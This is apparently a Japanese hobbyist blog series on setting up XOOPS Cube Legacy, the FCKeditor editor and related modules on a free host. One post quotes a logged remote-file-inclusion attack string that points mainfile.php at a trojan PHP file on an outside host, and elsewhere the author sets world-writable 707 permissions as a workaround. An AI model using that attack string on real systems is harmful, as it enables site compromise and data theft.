XOOPS Cube Legacy導入記-#5。

 相変わらずFCKeditor on XOOPSの話である。

FCKeditorをFireFox3.6.x(3.5あたりもかな?)上で使って,ローカルからクリップボード経由でFCKeditorの編集画面に何かを貼りつけようとすると,右のPopUpが表示される。(いい忘れたが,そもそも私はデフォルトではPopUpWindowをブロックしているので,当該サイトにこれを許可してやらないとFCKeditorは使用できない。)調べて見ると表示されている <\/body><\/html>’) ;oDoc.close() ; ~ はfck_paste.html の一部で,fck_paste.htmlの中には
* This dialog is shown when, for some reason (usually security settings),
* the user is not able to paste data from the clipboard to the editor using
* the toolbar buttons or the context menu.
という記述があった。
という訳で,もともとデフォルトで禁止されているスクリプトによるクリップボードからの貼り付けを,FireFox上で許可してやる必要がある。しかし,これをすべてのサイトに許可するのは,昨今のネット情勢では危険極まりない。アドオンをいろいろ調べて見たらNoScriptというのがあって,評価も悪くないのでこれを使うことにした。

インストールして有効化してやると,FireFoxの右下に2番目の図のような[S]マークが表示される。[S]マークをフォーカスしてオプションを表示し,「詳細設定」→「Trusted」と進んで,[クリップボードからリッチテキストのコピーとペーストを可能にする]にチェックを入れる。

どんなサイトをTrustedにするかだが,「ブックマークから開いたサイトを許可する」というのがあるので,これにチェックを入れておくというのもいいかもしれない。しかし,考えて見ると先日のRobのところのようなこともあるから,手動にしておくのが無難かも。
各サイトにはインビジブルなリンクが貼られていることが多いが,それらを個々に制御することも可能になる。たとえば4番目の図のようになっている場合,@pagesについてはスクリプトが許可されているが,google関係のふたつに関しては禁止されている状態である。

 ところで,IEだと7,8において,最後の図のようなPopUpが現れる。これについては許可をクリックしてやればよい。これもオプションからデフォルトで受け入れるようにすることは可能だが,面倒でもいちいち手動で許可してやることにしておいた方が安全だろう。

余談:
@PAGESとの比較で,前に使っていたToyPark.inにもXOOPSをインストールしてみたのだが,部分的な文字化けが起こって投げ出していた。juneさんのほうは,先にToyParkで試し,その後,@Pagesに移動された。で,juneさんは@PAGESのほうで文字化けが起こったらしい。
その修復だが,juneさんの情報では,phpMyAdminでデータベースにアクセスして,テーブルの修復なんかをやっていたら直ったということだったが,私のほうはどうにも直らない。

絶対におかしいと思うのは,各テーブルの照合順序が latin1_swedish_ci になっていることだ。大本のデータベースの照合順序を utf8_unicde_ci に設定し,XOOPSのインストールもUTF-8でやったのに,どうしてそんなことになるか分からないのだが,なっているものは仕方がない。
しかたがないので,テーブルをすべてエクスポートして,今あるデータベースのテーブルは全部削除することにした。まだ,何も入れていないので,エクスポートしたSQLは全部で250KB程度。大したサイズではない。

SQLファイルをエディタで開き,文字化け部分をすべて訂正。各テーブルの文字セットをlatin1からutf8に変更,改めてインポートしたら文字化けはよくなった。もっとも,本当の原因がつかめていないので,新しいモジュールやコンテンツを追加するたびに起こる可能性はあるなぁ。

XOOPS Cube Legacy導入記-#4。

 本題に入る前に久しぶりに鳥さんの話題を(笑)。
 昨日の朝の通勤途中,例の川でウ(鵜)を10羽ばかり見た。時間がギリギリだったし,車を止めるところはないしで,証拠写真が撮れなかった。同僚に話したら,「へえっ」と言っていたが,家でははっきりと「見間違いだ。信じられない」と言われた。(orz)多分,同僚も内心は同じ気持ちだったんだろうなぁ。
 で,今朝証拠をデジカメに収めようと出勤時間を見計らって家を出たんだが,悪い予感が当たった。1羽もいない。実は昨日は雪催いで,ウの群れはそこに滞在しているというのではなく,一時休息という様子だったのだ。
 残念だなぁ。諦めきれないけど,こういうことはタイミング勝負なんだね。(sigh)

 本題に移行。
 juneさんから
> @pagesの広告のせいで?本来表示されるOK・キャンセルボタンを画面外にはじき出しているようです。
という情報を頂いた。で,これを改善すべく@PAGESの制約に従いつつFCKeditor on XOOPSのファイル名を変更してみた。今のところ,おおもとの表示枠と画像のアップロードの部分だけである。

  1. editor/fckeditor.htmlの名をmenu.htmlに変更。
    fckeditor/fckeditor.js(153): var sFile = ‘fckeditor.html’ ;を var sFile = ‘menu.html’ ; に変更。
  2. editor/fckdialog.htmlの名をheader.htmlに変更。
    これに関連して,以下のファイル内のfckdialog.htmlの名をheader.html変更。

    editor/js/fckeditorcode_gecko.js(100)
    editor/js/fckeditorcode_ie.js(101)
    editor/_source/internals/fckdialog.js(36)
  3. editor/dialog/fck_image.htmlの名をheader.html変更。
    これに関連して,以下のファイル内のfck_image.htmlの名をheader.html変更。
    editor/js/fckeditorcode_gecko.js(84)
    editor/js/fckeditorcode_ie.js(85)
    editor/_source/internals/fckcommands.js(63)
    editor/_source/internals/fckcommands.js(123)
  4. editor/dialog/fck_image/fck_image_preview.htmlの名をmenu.htmlに変更。
    これに関連して,以下のファイル内のfck_image_preview.htmlの名をmenu.html変更。
    editor/dialog/header.html(144):  <——— fck_image.htmlの名前を変えたもの。
    また,fck_image_preview.htmlの中には以下の文章が記載されている。これは,実際に使われるときには消えるのが本来ではないかと思うのだが,消えてくれないので,削除。
    Lorem
    ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam.
    Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla.
    Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis
    euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce
    mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie.
    Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque
    egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem,
    in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut
    placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy
    metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices,
    ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris
    non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas
    elementum. Nunc imperdiet gravida mauris.

追記: 正直な話,@PAGESではFCKeditorは使いにくいようだ。フレーム仕様でないいいエディタはないかな。

XOOPS Cube Legacy導入記-#3。

 最終的に何に使うことになるかは分からないが,現在の自分のサイト構成をXOOPSに模倣させるという方向で,練習を行うつもり。

  1. 「互換モジュール」 »» 「モジュールの管理」に入る。モジュール名が並んでいて,[pico]と[d3blog]の背景がピンクになっている。この色の違いはなんなんだろうと思っていたのだが,ピンクの場合ここで名前を変えるとホームページでの表示名を変えられるらしい。名を書き換え(→My restoration),下にあるアップデートをクリック。確認が出るのでもう一度クリック。
  2. TODOSでのcherrytigerさんの投稿をもとにfckeditorをダウンロードして解凍し,commonフォルダごと,XoXにアップロード。
    ファイルアップロードを利用するために,XoX/uploads の下に,fckeditor というフォルダを作ってパーミッションを705にする。
  3. 「My restoration(←picoのこと) 」 »» 「一般設定」に行って,本文編集エディタ を[common/fckeditor]に変更。いつも書き忘れるが,当然「送信」。
  4. 「My restoration 」 »» 「コンテンツ一括管理」 »» 「コンテンツ作成」と,移動。表題に「My server’s restoration note」と書き入れ,本家の記事を編集エリアにコピペしてみた。
  5. 「My restoration(←picoのこと) 」 »» 「ブロック管理/モジュールアクセス権限」に行って,コンテンツ内容を表示しないように設定。
  6. FTPクライアントで前もってXoX/uploads/fckeditorに画像をアップロードし,fckeditorを使って画像を表示して見た。ここで,uploadsディレクトリのパーミッションを707に変更。このせいでかなりハマった。@PAGESでは実行可能を付与しておかないとまともに動かないようだ。

追記:結局,cacheのパーミッションも707に変更。picoの一般設定書き換えで,PHPエラーが出る。

XOOPS Cube Legacy導入記-#2。

 3・4日放りっぱなしだった,XOOPSを弄ってみる。なにはともあれ,ログインして管理メニューをじっくり探索。その結果,以下のようなことを行った。

  1. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[検索]をインストール。表示サイドを[サイドブロック-右],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。
  2. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[ブログ カレンダー]をインストール。表示サイドを[サイドブロック-右],並び順を[1],表示先のモジュールを[すべてのモジュール],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。

 結局,これだけしかしなかった。(苦)

mainfile.php狙いの不正アクセス。

 今日は,寒かった。昨日から南に見える例のお山は雪を頂いていたが,今朝は北に見える山も雪を被っていた。初雪である。まぁ,家の辺まで降ったわけではありませんが……

 ところで,12月5日にXOOPSを導入して以来,mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで,libwww-perlを利用したものである。自鯖にはmainfile.phpはないので,すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが,やっぱりmainfile.phpは有名な名前なんだね。

 MoovableTypeでも,WordPressでもコンフィグを狙うアクセスは多いけど,有名どころのアプリをそのままの名で設置するときは,指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。
Trojan-Spy.PHP.Mailar.h
 ところで,aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら,右の画像が表示された。カスペルスキー,えらい。

XOOPS Cube Legacy導入記

 いつものことだが,今回もTODOSの話に触発されて,XOOPS Cube Legacyを導入してみた。導入先は自鯖ではなく,先日ちょっと遊んだ後そのままになっていた@PAGES。
 XOOPS Cube Legacyではデータベースが必要だが,@PAGESの無料サービスでは登録時に作られるもの一つしかデータベースが使えない。先日のWordPressでこれを使用する形になっている。そのデータベースにXOOPSのテーブルを追加ということでもよかったのだが,@PAGESのWordPressには大したことはやっていなかったので,すっきりさせるためにまずFTPクライアントで接続して,WordPress関連のすべてのファイルを削除した。その後,「アカウント管理ページ」から「ブラウザからデータベースを操作する」(←phpMyAdminを使う操作です。)に入ってテーブルもすべて削除。

 これでXOOPS Cube Legacyがさらな状態で導入できる。
 手順は以下の通り。
 (注) Package_Legacy_2_1_8a.zipに含まれるdocs内のINSTALL.ja.htmlの記述と,ver.2.1.8aのダウンロードページのリリースノートのページのサイドバーのリンクから跳べるインストールの解説ページのうち,「XOOPS Cube Legacy をインストールしてみよう!(魚拓です)」を参考にした。

  1. Package_Legacy_2_1_8a.zipをダウンロード
  2. Package_Legacy_2_1_8a.zipを解凍。
  3. FTPクライアントでアクセスして,public_htmlにXoXディレクトリを作成。(ここにXOOPSを入れる。名前は適当。もちろんXOOPSのままでもよいし,public_htmlにじかにファイルをアップロードしてもよい。)パーミッションは705。
  4. 解凍で出来たフォルダ内のhtmlフォルダのすべてを,XoXディレクトリにアップロード。
  5. 文字コードをUTF-8にするために,解凍フォルダ内のextras\extra_languages\ja_utf8\htmlの内容を,XoXディレクトリに追加アップロード。
  6. http://www22.atpages.jp/~o6asan/XoX/ にアクセスする。
  7. 画面指示に従って進めるが,準備のところで,「・uploads/、cache/およびtemplates_c/ディレクトリと、mainfile.phpファイルをPHPから書込み可能にする。」とあるので,3つのディレクトリのパーミッションを706に,mainfile.phpファイルを606に変更。
  8. 「データベース、およびパス・URLの設定」については,アカウント管理ページの「データベース(mysql)利用情報」を参照しながら記入。
  9. ここまではすんなり行って,インストール第2ステップへ。
  10. ところがここで,
    Warning [Xoops]: Smarty error: problem writing temporary file ‘該当ファイル名’ in file class/smarty/Smarty.class.php line 1093
    Warning [PHP]: include() [function.include]: Unable to access 該当.php in file class/smarty/Smarty.class.php line 1256
    Warning [PHP]: include(該当.php) [function.include]: failed to open stream: Permission denied in file class/smarty/Smarty.class.php line 1256
    Warning [PHP]: include() [function.include]: Failed opening ‘該当.php’ for inclusion (include_path=’.:/usr/local/lib/php’) in file class/smarty/Smarty.class.php line 1256
    が出たので,templates_cのパーミッションを707に変更。サーバの絶対パスなどが入るので上記では消してあるが,実は,該当と書いてある部分でtemplates_cがらみが分かる。
    706でPHPが書き込み可,707で実行可になるので,XOOPSのメッセージ通りなら本来は706で大丈夫なはずだが,このあたり,PHPの環境で違うのかもしれない。
    12/11(Sat) uploadsのパーミッションを707に変更。これを706にしていたせいで,FCKeditor で画像アップロードでハマちゃった(痛ッ)。@PAGESでは実行可能を付与しておかなくてはいけないようだ。
    cacheについても同様かもしれないが,エラーが出るまで待っておこう。
  11. Xoopsのサイト管理者名とパスワードを設定。
  12. ログイン後,必須モジュールとpmを導入。
  13. 「インストール完了!」が表示され,安全のためにinstall ディレクトリの削除がうながされたので,対処後ページを再読み込み。
  14. 右掲の画面が表示された。
  15. 管理者メニューに移動すると,mainfile.phpへの書き込みを禁止するようにうながされたので,パーミッションを404に変更。
    mainfile.phpをローカルにバックアップ。
  16. 「互換モジュール・全般設定」を行う。ほぼ,デフォルトのまま。
  17. 「ユーザーモジュール・一般設定」を行う。ほぼ,デフォルトのまま。

  以上で,下準備は完了。後は何に使うかによって,テーマやモジュールを追加していくということのようだ。
  何に使うかが一番問題だが,実際に自鯖に導入するなら,サイトの統合用に使うのがいいかもしれないと思っている。

    追記:

  • テーマを替えて見た。
    基本色は黒と決めているので,http://www.theme4u.net/xoopsthemearchive から fydarkblack.zip をダウンロードして入れた。アップロード場所はthemesフォルダに解凍したfydarkblackごと。その後サイトからログインして,「互換モジュール」→「テーマの管理」と行き,アクティベート。
    ついでにlogo.gifとファビコンを替えた。
  • 追記2:

  • cherrytiger さんのご指導で,altsysを入れて見た。サイトの説明によると,システム管理をしやすくしてくれるらしい。当りまえだろうが,見かけは変わらない。
    2011/1/2(Sun) 書き忘れていたこと。XOOPS_TRUST_PATHについてはドキュメントルート以外に設置するのがいいらしいが,無料レンタルサーバでは無理なことが多い。今回もドキュメントルートに設置せざるをえなかった。で,ディレクトリ名をランダム生成の文字列に変更した。
  • 追記3:

  • cherrytiger さんのご指導で,Protectorを入れて見た。サイトの説明によると,悪意ある攻撃から守ってくれるらしい。当りまえだろうが,見かけは変わらない。
    ところで,「Protector」の「セキュリティガイド」タグにおいて,mainfile.phpにパッチが当たっていないとのメッセージが出ていた。
    「当てたんだけどなぁ」と思いつつ,TODOSのcherrytiger さんの書き込みを見直したら,私が当てた「●XOOPS Cube Legacy 2.1へのインストール」のパッチではなく,一般的なほうを当てていた。「へぇ」と思いつつ,書き直したら「非推奨」メッセージが消えた。
    もうひとつは,’allow_url_fopen’ : on 「非推奨」なんだが,これは多分php.iniの中だから,@PAGESに頼んでみるかね。

    • PHP.iniの[Fopen wrappers]において
      allow_url_fopen = On
      になっているようですが,特別に何か使っているための仕様でしょうか。
      そうでなければ,気持ちが悪いのでOffにしていただけませんか。
    • というのを送ってみた。(12/6)

  • 追記4:

  • cherrytiger さんのご指導で,picoを入れて見た。サイトの説明によると,静的コンテンツ用モジュールらしい。当りまえだろうが,見かけは変わらない。と書いたけど,ちょっと変わったね。「トップ」と「ホーム」はどういう使いわけなんだろうね。
  • 追記5:(12/6)

  • cherrytiger さんのご指導で,d3blogを入れて見た。これを利用するのに早速altsysがいるらしい。で,これがD3版Xoopsブログシステムです。
    ファイルのアップロードにおいては以下の点に留意。

    • extra/html/class/smarty/plugins以下にあるsmartyプラグインのアップ先
      XC2.0.x 系を使っている場合は公開側/class/smarty/plugins以下へということで,こっちは普通。
      XCL2.1.xを使っている場合はtrust_path側/libs/smartypluginsへアップし,html/preload下にあるファイルを公開側へアップ。
      なんとも微妙なディレクトリ名の違いだねぇ。

    d3blogの使い方を参考にセッティングをやってみた。

    • 「管理者メニュー」→「D3ブログ」→「カテゴリ管理」と進み,カテゴリ「EverydayLife」を作成。
    • 「パミッション管理」で各グループの権限を設定。
    • 「ブロック管理/モジュールアクセス権限」/「言語定数管理」この2つがよくわからない。ひとまず,「ブロック管理/モジュールアクセス権限」のゲストに対して,「D3ブログ (1.08) モジュールアクセス権限」を与え,あとはデフォルトのまま。これでいいのかな?
    • 「CSSマネジャー」当面は,一般設定でダイナミックCSSを選択。